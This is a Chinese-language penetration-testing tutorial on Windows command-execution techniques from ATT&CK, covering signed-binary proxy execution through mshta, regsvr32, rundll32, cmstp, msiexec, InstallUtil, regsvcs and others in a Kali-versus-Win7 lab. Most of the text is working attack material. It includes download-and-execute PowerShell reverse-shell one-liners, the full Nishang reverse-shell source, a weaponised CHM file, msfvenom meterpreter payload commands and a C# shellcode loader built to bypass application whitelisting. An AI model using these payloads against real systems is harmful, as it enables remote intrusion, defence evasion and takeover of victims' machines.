ATTck 命令执行 —— 远程动态数据交换
目录
Empire介绍
环境
命令行界面
Nc -lvp 666
本地-Signed Script Proxy Execution(签名脚本代理执行)
环境
过程
Wscript 方式
获取SHELL
chm
环境
创建恶意 chm 文件
CMSTP
环境
过程
本地-CPL
环境
过程
本地-Forfiles
环境
过程
本地-IEExec
环境
过程
InfDefaultInstall
InstaIIUtil
环境
例子
实战演示
MSHTA
环境
Empire 生成 hta 文件
MSIexec
环境
过程
Pcalua
环境
过程
Regsvcs/Regasm(.NET 服务安装工具/程序集注册工具)
环境
过程
regsvr32
环境
Rundll32
环境
过程
Scripting(脚本执行)
环境
过程
SyncAppvPublishingServer
环境
过程
Trusted Developer Utilities(值得信赖的开发者工具)
40.WMI (T1047)
ATT&ck命令执行 —— 远程动态数据交换
Empire介绍
Empire 是一个纯粹的PowerShell 后开发代理建立在密码安全的通信和灵活的架构。
Empire 实现了无需powershell.exe 即可运行powershell代理的功能,从键盘记录到mimikatz等快速部署的后期开发模块,以及适应性通信以逃避网络检测,所有这些都包含在以可用性为中心的框架中。
git clone https://github.com/EmpireProject/Empire.git
cd Empire/setup
./install.sh
./empire
环境
攻击机 kali 192.168.243.133
受害机 win7 x64 192.168.243.154
- 设置监听
- 运行进行监听
- 生成木马
将生成的木马文件 /tmp/launcher.bat 在受害机器上【win7 x64】运行
- 输入 agents 进行回连查看信息
命令行界面
C:\Users\root\Desktop>PowerShell IEX (New- Object Net.WebClient).DownloadString( VPS/Invoke-PowerShellTcp.ps1');Invoverse -IPAddress 192.168.243.133 - Port 666
Nc -lvp 666
本地-Signed Script Proxy Execution(签名脚本代理执行)
环境
攻击机:Kali(192.168.243.133)
受害机:Win7 X64 (192.168.243.154)
过程
在远程 web 服务器根目录写入 1.sct 文件如下: pubprn.vbs 方式
root@kali:~# cat 123.sct
<?XML version="1.0"?>
<scriptlet>
<registration
description="Bandit" progid="Bandit" version="1.00" classid="{AAAA1111-0000-0000-0000-0000FEEDACDC}"
remotable="true" >
</registration>
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</scriptlet>
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
Wscript 方式
启动 Empire 生成 vbs 脚本
设置监听地址信息
输入 “execute"运行,生成VBS代码;使用agents 列出列表
或者
C:\Users\root\Desktop>wscript launcher.vbs
执行一次,响应一次;获取目标代理
获取SHELL
agents
(Empire: agents) > interact RWACGHYM
(Empire: RWACGHYM) > shell ipconfig
chm
介绍
CHM 文件格式是微软于 1998 年推出的基于 HTML 文件特性的帮助文件系统,以替代早先的 WinHelp 帮助系统。它在 Windows 98 中把 CHM 类型文件称作“编译的 HTML 帮助文件”(Compiled HTML Help file);被 IE 浏览器支持的JavaScript, VBScript, ActiveX, Java Applet, Flash, 常见图形文件(GIF、JPEG、PNG)、音频视频文件(MID、WAV、AVI)等等,CHM同样支持,并可以通过 URL 与 Internet 联系在一起;
环境
攻击机:Kali(192.168.243.133)
受害机:Win7 X64 (192.168.243.154)
创建恶意 chm 文件
SIP.html<html>
<h1>blue team</h1>
<body>
Security
</body>
</html>STA.html<html>
<h1>blue team</h1>
<body>
Network
</body>
</html>Index.html<!DOCTYPE html><html><head><title>Mousejack replay</title><head></head><body>
command exec
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1 he
ight=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",powershell.exe,-nop -w hidden -c IEX (New-Object
Net.WebClient).DownloadString('192.168.243.134/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.243.133 -Port 666">
<PARAM name="Item2" value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
</body>
</html>
https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1
function Invoke-PowerShellTcp
{
<#
.SYNOPSIS
Nishang script which can be used for Reverse or Bind interactive PowerShell from a target. .DESCRIPTION
This script is able to connect to a standard netcat listening on a port when using the -Reverse switch.
Also, a standard netcat can connect to this script Bind to a specific port.The script is derived from Powerfun written by Ben Turner & Dave Hardy.PARAMETER IPAddress
The IP address to connect to when using the -Reverse switch..PARAMETER Port
The port to connect to when using the -Reverse switch. When using -Bind it is the port on which this script listens..EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress 192.168.254.226 -Port 4444Above shows an example of an interactive PowerShell reverse connect shell. A netcat/powercat listener must be listening on
the given IP and port. .EXAMPLE
PS > Invoke-PowerShellTcp -Bind -Port 4444Above shows an example of an interactive PowerShell bind connect shell. Use a netcat/powercat to connect to this port. .EXAMPLE
PS > Invoke-PowerShellTcp -Reverse -IPAddress fe80::20c:29ff:fe9d:b983 -Port 4444Above shows an example of an interactive PowerShell reverse connect shell over IPv6. A netcat/powercat listener must be
listening on the given IP and port. .LINK
http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
https://github.com/nettitude/powershell/blob/master/powerfun.ps1
https://github.com/samratashok/nishang
#> [CmdletBinding(DefaultParameterSetName="reverse")] Param([Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")][Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")][String]$IPAddress,[Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")][Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")][Int]$Port,[Parameter(ParameterSetName="reverse")][Switch]$Reverse,[Parameter(ParameterSetName="bind")][Switch]$Bind)try {#Connect back if the reverse switch is used.if ($Reverse){$client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)}#Bind to the provided port if Bind switch is used.if ($Bind){$listener = [System.Net.Sockets.TcpListener]$Port$listener.start() $client = $listener.AcceptTcpClient()} $stream = $client.GetStream()[byte[]]$bytes = 0..65535|%{0}#Send back current username and computername$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")$stream.Write($sendbytes,0,$sendbytes.Length)#Show an interactive PowerShell prompt$sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')$stream.Write($sendbytes,0,$sendbytes.Length)while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$EncodedText = New-Object -TypeName System.Text.ASCIIEncoding$data = $EncodedText.GetString($bytes,0, $i)try{#Execute the command on the target.$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )}catch{Write-Warning "Something went wrong with execution of command on the target." Write-Error $_}$sendback2 = $sendback + 'PS ' + (Get-Location).Path + '> '$x = ($error[0] | Out-String)$error.clear()$sendback2 = $sendback2 + $x#Return the results$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)$stream.Write($sendbyte,0,$sendbyte.Length)$stream.Flush() }$client.Close()if ($listener){$listener.Stop()}}catch{Write-Warning "Something went wrong! Check if the server is reachable and you are using the correct port." Write-Error $_}
}
CMSTP
介绍
CMSTP是一个与Microsoft连接管理器配置文件安装程序关联的二进制文件。它接受INF文件,这些文件可以通过恶意命令武器化,以脚本(SCT)和DLL的形式执行任意代码。它是一个受信任的Microsoft二进制文件,位于以下两个Windows目录中。
通过cmstp.exe命令执行,调用恶意的dll或者com脚本(sct)。这种方式可以绕过applocker或者其他白名单的防御方式以及UAC.
C:\Windows\System32\cmstp.exe
C:\Windows\SysWOW64\cmstp.exe
环境
攻击机:Kali(192.168.243.133)
受害机:Win7 X64(192.168.243.154)
过程
1.通过 Metasploit Framework 的 msfvenom 生成恶意 DLL 文件 (pentestlab.dll)。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.243.133 LPORT=3333 -f dll > /root/Desktop/pentestlab.dll
INF 文件的 RegisterOCXSection 需要包含恶意 DLL 文件的本地路径或远程执行 的 WebDAV 位置。
cmstp.inf
[version]
Signature=$chicago$
AdvancedINF=2.5
[DefaultInstall_SingleUser]
RegisterOCXs=RegisterOCXSection
[RegisterOCXSection]
C:\Users\root\Desktop\pentestlab.dll
[Strings]
AppAct = "SOFTWARE\Microsoft\Connection Manager" ServiceName="Pentestlab" ShortSvcName="Pentestlab"
2、INF 文件的 RegisterOCXSection 需要包含恶意 DLL 文件的本地路径或远程执 行的 WebDAV 位置。
[RegisterOCXSection]
C:\Users\root\Desktop\pentestlab.dll
3、Metasploit multi/handler 模块需要配置为接收连接。
4、当恶意 INF 文件与 cmstp 一起提供时,代码 将会在后台执行。
cmstp.exe /s cmstp.inf
5、获得 Meterpreter 会话。
本地-CPL
介绍
CPL文件,是Windows控制面板扩展项,CPL全拼为Control Panel Item;
在系统安装目录的system32下面有一系列.cpl文件,它们分别对应着控制面板中的项目
CPL文件本质是Windows可执行性文件,但不属于可以直接独立运行的文件,通常由shell32.dll打开
环境
攻击机:Kali(192.168.243.133)
受害机:Win7 X64 (192.168.243.154)
过程
第一步是创建一个 dll 并将其重命名为.cpl,以便它可以与控制面板一起 执行,Metasploit 的 Msfvenom 可以创建一个自定义的 dll,其中可以包含一个嵌 入的 meterpreter 有效载荷或者 Didier Stevens 的 cmd DLL 文件,可以用来绕过 禁止 cmd 运行的限制。
1、msfvenom 生成 payload
msfvenom -p windows/meterpreter/reverse_tcp -b '\x00\xff' lhost=192.168.243.133 lport=3333 -f dll -o pentestlab.cpl
2、msf 设置监听
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.243.133
set LPORT 3333
exploit -j
3、以下命令将创建一个注册表键,这个注册表键的值将包含存储在主机上的 CPL 文件的路径。 默认情况下,标准用户对自己的配置单元是具有写入权限的。
reg add "HKEYLOCALMACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Co ntrol Panel\Cpls" /v pentestlab.cpl /t REG_SZ /d "C:\cpl\pentestlab.cpl"
4.打开控制面板执行 payload 或者 control pentestlab.cpl,获取 Meterpreter 会 话
成功获取 session
本地-Forfiles
介绍
forfiles是windows自带的一个批量删除命令,对于时间的判断是通过文件自身的修改日期属性进行判断,使用它来对历史文件进行判断删除是个不错的选择。
forfiles 命令用来搜索不同盘符指定文件或文件夹, 更新软件或执行批处理程序都非常方便, 其语法为: forfiles /p 要搜索的文件夹或盘符 /m 要搜索的文件类型 /s 递归搜索文件 /c 执行文件命令
详细命令:https://www.jb51.net/softs/498793.html
环境
攻击机:Kali(192.168.243.133)
受害机:Win7 X64 (192.168.243.154)
过程
1、forfiles /p c:\windows\system32 /m notepad.exe /c calc.exe
本地-IEExec
环境
攻击机:Kali(192.168.243.133)
受害机:Win7 X64 (192.168.243.154)
过程
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\IEExec.exe http://192.168.243.133/evil.exe
InfDefaultInstall
环境
攻击机:Kali(192.168.243.133)
受害机:Win7 X64(192.168.243.154)
过程
InfDefaultInstall.exe shady.inf
[Version]
Signature=$CHICAGO$
[DefaultInstall]
UnregisterDlls = Squiblydoo
[Squiblydoo]
11,,scrobj.dll,2,60,https://gist.githubusercontent.com/subTee/24c7d8e1ff0f5602092 f58cbb3f7d302/raw/ef22366bfb62a2ddea8c5e321d3ce2f4c95d2a66/Backdoor-Mi nimalist.sct
InstaIIUtil
环境
攻击机:Kali(192.168.243.133)
受害机:Win7 X64 (192.168.243.154)
工具地址: https://github.com/khr0x40sh/WhiteListEvasion.git
例子
生成 sc 有效载荷 python InstallUtil.py --csfile temp.cs --exefile temp.exe --payload windows/meterpreter/reverse_https --lhost 192.168.243.133 --lport 443
实战演示
生成二进制文件 .\csc.exe pentestlab.cs
执行二进制文件 .\InstallUtil.exe /logfile= /logtoconsole=false /u pentestlab.exe
msf 设置
成功获取 session
获取 shell
使用InstallUtil安装或卸载服务
一.安装服务:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe D:\MyServices\test.exe
pause
二.卸载服务:
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe -u D:\MyServices\test.exe
pause
要安装windows service 首先要找到 InstallUtil.exe,InstallUtil.exe位置在 C:\Windows\Microsoft.NET\Framework\v4.0.30319,用什么版本写的服务,找到对应版本,各个版本不同详见(C:\Windows\Microsoft.NET\Framework\版本)
然后使用命令
安装服务
InstallUtil.exe 服务路径/windowsServiceName.exe
快捷安装:直接找到对应的 installutil.exe,拖cmd中,再拖你服务的位置路径下的服务名称.exe,(win10 以上系统支持)
启动该服务
net start windowsServiceName
停止服务
net stop windowsServiceName
卸载服务
InstallUtil.exe /u 服务路径/windowsServiceName.exe
相关链接
Installutil.exe(安装程序工具) | Microsoft Docs
MSHTA
介绍
mshta.exe是微软Windows操作系统相关程序,英文全称Microsoft HTML Application,可翻译为微软超文本标记语言应用,用于执行.HTA文件。
环境
攻击机:Kali(192.168.243.133)
受害机:Win7 X64 (192.168.243.154)
攻击手法:
1、在 kali 上启动 Empire 框架后输入: listeners uselistener http set Host http://192.168.243.133 set Port 8080 execute
输出
(Empire: listeners) > uselistener http
(Empire: listeners/http) > set Host http://192.168.243.133
(Empire: listeners/http) > set Port 8080
(Empire: listeners/http) > set Name mshta
(Empire: listeners/http) > execute [*] Starting listener 'mshta' * Serving Flask app "http" (lazy loading) * Environment: production WARNING: Do not use the development server in a production environment. Use a production WSGI server instead. * Debug mode: off [+] Listener successfully started!
(Empire: listeners/http) > listeners [*] Active listeners: Name Module Host Delay/Jitter KillDate ---- ------ ---- ------------ ---- ---- mshta http http://192.168.243.133:8080 5/0.0
(Empire: listeners) >
Empire 生成 hta 文件
usestager windows/hta
set Listener http
set OutFile /root/Desktop/1.hta
execute
Python 开启 web 服务;
受害机执行 cd /root/Desktop/ python3 -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/)
Win7 执行:
mshta.exe http://10.100.19.19:80/1.hta [payload 监听的端口和下载的端口不能同一个]
Empire 成功收到受害机 shell
MSIexec
环境
攻击机:Kali(192.168.243.133)
受害机:Win7 X64 (192.168.243.154)
过程
1、通过 msfvenom 生成 payload msfvenom -a x86 -f msi -p windows/exec CMD=calc.exe -o calc.png
2、搭建简单 web 服务器 python -m SimpleHTTPServer 80
3、在本地计算机上下载文件后,使用 msiexec 运行 payload msiexec /q /i http://192.168.243.133/calc.png
Pcalua
环境
攻击机:Kali(192.168.243.133)
受害机:Win7 X64 (192.168.243.154)
过程
C:\windows\system32\pcalua.exe -a
C:\file.lnk C:\windows\system32\pcalua.exe -a notepad.exe
C:\windows\system32\pcalua.exe -a \\server\payload.dll(本地执行远程主机 payloa d)
Regsvcs/Regasm(.NET 服务安装工具/程序集注册工具)
环境
攻击机:Kali(192.168.243.133)
受害机:Win7 X64 (192.168.243.154)
过程
1.使用 powershell 转换出 key.snk
PS D:\> $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2P WGc6DHP9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW 979GWzVAgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0q u/WxZaffHS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv 7dKaC531ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNO E79zwnpVP1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hito lufo7Ucjh+WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0 361mVsSVWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRv kWiZRerjmDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOef cacyYEHPX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7q eEuvyV0OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmt L6KDzKv8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLN iHfVjNi53Yg4='
PS D:\> $Content = [System.Convert]::FromBase64String($key)
PS D:\> Set-Content key.snk -Value $Content -Encoding Byte
2、MsfVenom 生成 C#版的 ShellCode,复制 ShellCode 到一个文件中命名为 regsvcs.cs
msfvenom -a x86 -platform Windows -p windows/meterpreter/reverse_tcp LHOST =10.100.19.19 LPORT=4444 -f csharp
![image](./images/7AF3D6434406451FB84F9676ED26B6C.png)
using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter:
@subTee License: BSD 3-Clause Create Your Strong Name Key -> key.snk $key = 'BwIAAAAkAABSU0EyAAQAAAEAAQBhXtvkSeH85E31z64cAX+X2PWGc6DHP 9VaoD13CljtYau9SesUzKVLJdHphY5ppg5clHIGaL7nZbp6qukLH0lLEq/vW979GWzV AgSZaGVCFpuk6p1y69cSr3STlzljJrY76JIjeS4+RhbdWHp99y8QhwRllOC0qu/WxZaff HS2te/PKzIiTuFfcP46qxQoLR8s3QZhAJBnn9TGJkbix8MTgEt7hD1DC2hXv7dKaC531 ZWqGXB54OnuvFbD5P2t+vyvZuHNmAy3pX0BDXqwEfoZZ+hiIk1YUDSNOE79zwnpV P1+BN0PK5QCPCS+6zujfRlQpJ+nfHLLicweJ9uT7OG3g/P+JpXGN0/+Hitolufo7Ucjh +WvZAU//dzrGny5stQtTmLxdhZbOsNDJpsqnzwEUfL5+o8OhujBHDm/ZQ0361mVsS VWrmgDPKHGGRx+7FbdgpBEq3m15/4zzg343V9NBwt1+qZU+TSVPU0wRvkWiZRerj mDdehJIboWsx4V8aiWx8FPPngEmNz89tBAQ8zbIrJFfmtYnj1fFmkNu3lglOefcacyYEH PX/tqcBuBIg/cpcDHps/6SGCCciX3tufnEeDMAQjmLku8X4zHcgJx6FpVK7qeEuvyV0 OGKvNor9b/WKQHIHjkzG+z6nWHMoMYV5VMTZ0jLM5aZQ6ypwmFZaNmtL6KDzKv 8L1YN2TkKjXEoWulXNliBpelsSJyuICplrCTPGGSxPGihT3rpZ9tbLZUefrFnLNiHfVjNi5 3Yg4=' $Content = [System.Convert]::FromBase64String($key) Set-Content key.snk -Value $Content -Encoding Byte C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseSe rvices.dll /target:library /out:regsvcs.dll /keyfile:key.snk regsvcs.cs C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll [OR] C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe regsvcs.dll //Executes UnRegisterClass If you don't have permissions C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe /U regsvcs.dll C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U regsvcs.dll //This calls the UnregisterClass Method */ namespace regsvcser { public class Bypass : ServicedComponent { public Bypass() { Console.WriteLine("I am a basic COM Object"); } [ComRegisterFunction] //This executes if registration is successful public static void RegisterClass ( string key ) { Console.WriteLine("I shouldn't really execute"); Shellcode.Exec(); } [ComUnregisterFunction] //This executes if registration fails public static void UnRegisterClass ( string key ) { Console.WriteLine("I shouldn't really execute either."); Shellcode.Exec(); } } public class Shellcode { public static void Exec() { // native function's compiled code // generated with metasploit // executes calc.exe byte[] shellcode = new byte[341] { 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30, 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff, 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52, 0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1, 0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b, 0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03, 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24, 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb, 0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c, 0x77,0x26,0x07,0x89,0xe8,0xff,0xd0,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54, 0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,0x68,0x0a,0x64,0x13,0x13, 0x68,0x02,0x00,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50, 0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5, 0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x67, 0x00,0x00,0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff, 0xd5,0x83,0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00, 0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56, 0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58, 0x68,0x00,0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5, 0x57,0x68,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0x0f,0x85, 0x70,0xff,0xff,0xff,0xe9,0x9b,0xff,0xff,0xff,0x01,0xc3,0x29,0xc6,0x75,0xc1, 0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,0x53,0xff,0xd5 }; UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE); Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length); IntPtr hThread = IntPtr.Zero; UInt32 threadId = 0; // prepare data IntPtr pinfo = IntPtr.Zero; // execute native code hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId); WaitForSingleObject(hThread, 0xFFFFFFFF); return; } private static UInt32 MEM_COMMIT = 0x1000; private static UInt32 PAGE_EXECUTE_READWRITE = 0x40; [DllImport("kernel32")] private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect); [DllImport("kernel32")] private static extern IntPtr CreateThread( UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId ); [DllImport("kernel32")] private static extern UInt32 WaitForSingleObject( IntPtr hHandle, UInt32 dwMilliseconds ); } }
3、msf 设置
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.243.133
set LHOST 4444
exploit -j
4、微软.NET 框架包含了一个可以在 cmd 中运行的 VC#
编译器并且可以生成恶意的 DLL 文件,key.snk 文件可以用来对生成的 DLL 作签名。
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseSe rvices.dll /target:library /out:regsvcs.dll /keyfile:key.snk regsvcs.cs
5、执行 C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe regsvcs.dll
获得 Meterpreter 会话
regsvr32
环境
攻击机:Kali(192.168.243.133)
受害机:Win7 X64 (192.168.243.154)
工具地址:https://github.com/Hood3dRob1n/JSRat-Py.git
1、在 kali 上运行 JSRat.PY python JSRat.py -i 192.168.243.133 -p 3333
2、受害机执行命令 regsvr32.exe /u /n /s /i:http://192.168.243.133:3333/file.sct scrobj.dll
3.kali 成功获取受害机 shell
Rundll32
环境
攻击机:Kali(192.168.243.133)
受害机:Win7 X64 (192.168.243.154)
过程
rundll32 AllTheThings.dll,EntryPoint rundll32 javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://rev erse-tcp.xyz/payload.sct");window.close(); rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20 ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-O bject Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratas hok/nishang/master/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Rev erse -IPAddress 10.100.18.20 -Port 3333;" rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20Active XObject(\"WScript.Shell\");w.run(\"calc\");window.close()"); rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new% 20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseTe xt;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /i m rundll32.exe",0,true);} rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20Active XObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
Scripting(脚本执行)
环境
攻击机:Kali(192.168.243.133)
受害机:Win7 X64 (192.168.243.154)
过程
vbs 生成 vbs 代码
Bat 生成 bat 批处理文件
目标主机执行
Empire 成功获取 agent
执行系统命令
2.jscript
https://gist.github.com/homjxi0e/0d683007bd4a3ce39d3e19342aaa68ec
SyncAppvPublishingServer
环境
攻击机:Kali(192.168.243.133)
受害机:Win7 X64 (192.168.243.154)
过程
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.100.19.19 LPORT=4 444 -f psh-reflection >4444.ps1 2、SyncAppvPublishingServer.exe "n;((New-Object Net.WebClient).DownloadString(' http://10.100.19.19/4444.ps1');4444.ps1 | IEX"
powershell -windowstyle hidden -exec bypass -c "IEX (New-Object Net.WebClient). DownloadString('http://10.100.19.19/4444.ps1');4444.ps1"
未复现成功
Trusted Developer Utilities(值得信赖的开发者工具)
20.Winword
21.XSL Script Processing(XSL 脚本处理)
22.XSL Script Processing(XSL 脚本处理)
23.本地任务调度
24.PsExec
25.计划任务
26.用户图形化界面
27.DCOM 利用
28.Powershell
29.SMBexec
30.WinRM
31.wmic
32.Language LUA in Files .wlua
33.INF-SCT
34.Reflection.Assembly
35.msconfig
36.sigverif.exe
37.DXCap.exe
38.Register-cimprovider.exe (T1218 )
39. xls mimikatz
40.WMI (T1047)
参考
更多花里胡哨的 LOLBIN 内容请参考以下链接
https://gtfobins.github.io/
https://lolbas-project.github.io/
ATTck 命令执行 —— 远程动态数据交换相关推荐
- 有关动态数据交换DDE、注册表和文件关联(转载)
有关动态数据交换DDE.注册表和文件关联的片语只言(转载) 一.动态数据交换(Dynamic Data Exchange,简称DDE) DDE协议定义了一组消息及其使用规则,借助共享内存机制,通过应用 ...
- 命令执行——远程命令执行(二)
普及远程命令执行漏洞相关函数和利用 远程命令执行漏洞相关函数 在PHP下,允许命令执行的函数有: >eval() >assert() >preg_replace() >call ...
- pikachu RCE(remote command/code execute)(远程命令执行/远程代码执行)(皮卡丘漏洞平台通关系列)
目录 一.官方介绍 二.诚意推荐 三.悠闲通关 第1关 exec "ping" 第2关 exec "eval" 一.官方介绍 本节引用内容来源pikachu漏洞 ...
- 命令执行原理和利用知识点
一.RCE漏洞概念 远程命令/代码执行漏洞(RCE)是指可以在仅有远程访问权限的情况下执行系统 命令的漏洞,是安全漏洞中危害最大的漏洞之一 二.命令注入 PHP系统命令执行函数: exec() sys ...
- 数据交换平台的需求总结与初步设计
一. 需求总结 功能性需求: 1. 从某时刻开始,转储某些特定的表.开始时间.时间频率.表字段.源表和目的表执行前后sql语句等数据可配置. 2. 转储频率可以自由设定,时间精确到秒级,任务精 ...
- 西门子S71200与三菱FX5U数据交换
西门子S71200与三菱FX5U数据交换 前言 一.硬件连接 二.配置S7-1200 三.配置XCNet模块数据交换命令 四.验证数据交换 总结 文章目录 前言 一.硬件连接 二.配置S7-1200 ...
- redis命令_Redis 命令执行过程(下)
点击上方"程序员历小冰",选择"置顶或者星标" 你的关注意义重大! 在上一篇文章中<Redis 命令执行过程(上)>中,我们首先了解 Redis 命 ...
- Celery Redis未授权访问命令执行利用
首发补天社区:https://forum.butian.net/share/224←走过路过帮点一下~ 前言 Celery 是一个简单.灵活且可靠的分布式系统,用于处理大量消息,同时为操作提供维护此类 ...
- Axure高保真智慧消防远程监管系统数据可视化大屏看板+web端高保真大数据分析平台看板+大数据交换配置管理平台大屏动态可视化看板
作品介绍:Axure高保真智慧消防远程监管系统数据可视化大屏看板+web端高保真大数据分析平台看板+大数据交换配置管理平台大屏动态可视化看板 原型交互及下载链接:https://www.pmdaniu ...
- Fastjson远程命令执行漏洞总结
1.FastJson 简介 fastjson.jar包原始下载地址:https://github.com/alibaba/fastjson fastjson用于将Java Bean序列化为JSON字符 ...
最新文章
- iOS 导航栏遮挡视图
- [iOS]关于零基础学习iOS开发的学习方法总结
- spice server dpkg-buildpackage 打包编译备忘
